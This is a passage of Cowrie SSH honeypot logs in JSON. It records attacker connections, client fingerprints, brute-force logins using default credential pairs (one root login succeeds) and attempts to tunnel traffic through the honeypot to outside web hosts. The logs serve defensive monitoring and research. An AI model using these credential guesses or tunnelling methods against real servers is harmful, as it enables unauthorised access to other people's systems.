mac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:04.860380Z","src_ip":"27.79.5.10","session":"8734b8544d9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"admin","message":"login attempt [support/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:05.620370Z","src_ip":"27.79.5.10","session":"8734b8544d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:05.870958Z","src_ip":"27.79.44.181","session":"731cfe1f28a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:06.897770Z","src_ip":"27.79.5.10","session":"8734b8544d9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":39672,"dst_ip":"10.17.0.5","dst_port":22,"session":"376b91bd107e","protocol":"ssh","message":"New connection: 80.94.95.118:39672 (10.17.0.5:22) [session: 376b91bd107e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:33.965797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:33.970275Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:34.066761Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin123","message":"login attempt [root/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:34.585808Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.25.101","dst_port":443,"src_ip":"80.94.95.118","src_port":50342,"message":"direct-tcp connection request to 34.251.25.101:443 from 127.0.0.1:50342","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:40.308898Z","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.25.101","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.25.101:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:47.254566Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.25.101","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03U\\x15\\xd7\\n\\x18\\xc7\\x87\\xa9M\\xbc\\x8a\\xe3*[\\x14\\x05\\x9c\\xf8\\xf7\\x84y6\\xc1CVF\\xc3\\x86z\\xfa\\xb9\\xfa \\xffk\\xab7\\xa8w\\xdc\\xf3E\\xf7@\\xdfvW\\xff\\xa3~\\x8fg\\x13\"K@\\xa2\\x8c-\\xc4v\\n2\\xfd\\xe7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 *\\xde\\x0f\\xfc\\x0e\\xb9\\tRY{p\\xc2\\x14\\x1c\\xf7t\\x9b\\xf7)k\\x1c\\r\\xc0\\xc3\\x07\\x038\\xaa]G\\xdev\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.25.101:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03U\\x15\\xd7\\n\\x18\\xc7\\x87\\xa9M\\xbc\\x8a\\xe3*[\\x14\\x05\\x9c\\xf8\\xf7\\x84y6\\xc1CVF\\xc3\\x86z\\xfa\\xb9\\xfa \\xffk\\xab7\\xa8w\\xdc\\xf3E\\xf7@\\xdfvW\\xff\\xa3~\\x8fg\\x13\"K@\\xa2\\x8c-\\xc4v\\n2\\xfd\\xe7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 *\\xde\\x0f\\xfc\\x0e\\xb9\\tRY{p\\xc2\\x14\\x1c\\xf7t\\x9b\\xf7)k\\x1c\\r\\xc0\\xc3\\x07\\x038\\xaa]G\\xdev\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:47.257896Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":37770,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9434b7c095","protocol":"ssh","message":"New connection: 166.1.60.230:37770 (10.17.0.5:22) [session: cf9434b7c095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:48.762755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:48.767400Z","src_ip":"166.1.60.230","session":"cf9434b7c095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:48.773712Z","src_ip":"166.1.60.230","session":"cf9434b7c095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:48.828288Z","src_ip":"166.1.60.230","session":"cf9434b7c095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:49.835293Z","src_ip":"166.1.60.230","session":"cf9434b7c095","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"95.100.221.76","dst_port":443,"src_ip":"80.94.95.118","src_port":52830,"message":"direct-tcp connection request to 95.100.221.76:443 from 127.0.0.1:52830","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:56.438733Z","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"95.100.221.76","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 95.100.221.76:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:59.824440Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"95.100.221.76","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xabRw\\xdc\\x18\\x9a^\\x82sNH\\x07\\xc8Q%\\x1d\\xe0=\\xab\\xcc\\x06($f\\xae\\x1e\\x8ap9\\x0br\\x90 d\\xdc:HJ\\x06\\xa1G-V\\x18iA\\x08*\\xfd-\\x84\\xc1\\xb7\\x06aO\\xfa=8\\x11\\x85~\\x90\\xbf\\x83\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd3l\\xb7lA*wI\\xd01g\\x06\\xcc`\\x89\\xbe1e\\xcf\\xb1\\x9e\\xa7\\x11\\x93\\xd7\\xcc(8\\xbf\\x8f;{\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 95.100.221.76:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xabRw\\xdc\\x18\\x9a^\\x82sNH\\x07\\xc8Q%\\x1d\\xe0=\\xab\\xcc\\x06($f\\xae\\x1e\\x8ap9\\x0br\\x90 d\\xdc:HJ\\x06\\xa1G-V\\x18iA\\x08*\\xfd-\\x84\\xc1\\xb7\\x06aO\\xfa=8\\x11\\x85~\\x90\\xbf\\x83\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd3l\\xb7lA*wI\\xd01g\\x06\\xcc`\\x89\\xbe1e\\xcf\\xb1\\x9e\\xa7\\x11\\x93\\xd7\\xcc(8\\xbf\\x8f;{\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:59.827200Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.150.119","dst_port":443,"src_ip":"80.94.95.118","src_port":55442,"message":"direct-tcp connection request to 142.251.150.119:443 from 127.0.0.1:55442","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:52:03.343469Z","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.150.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.150.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:52:12.949385Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
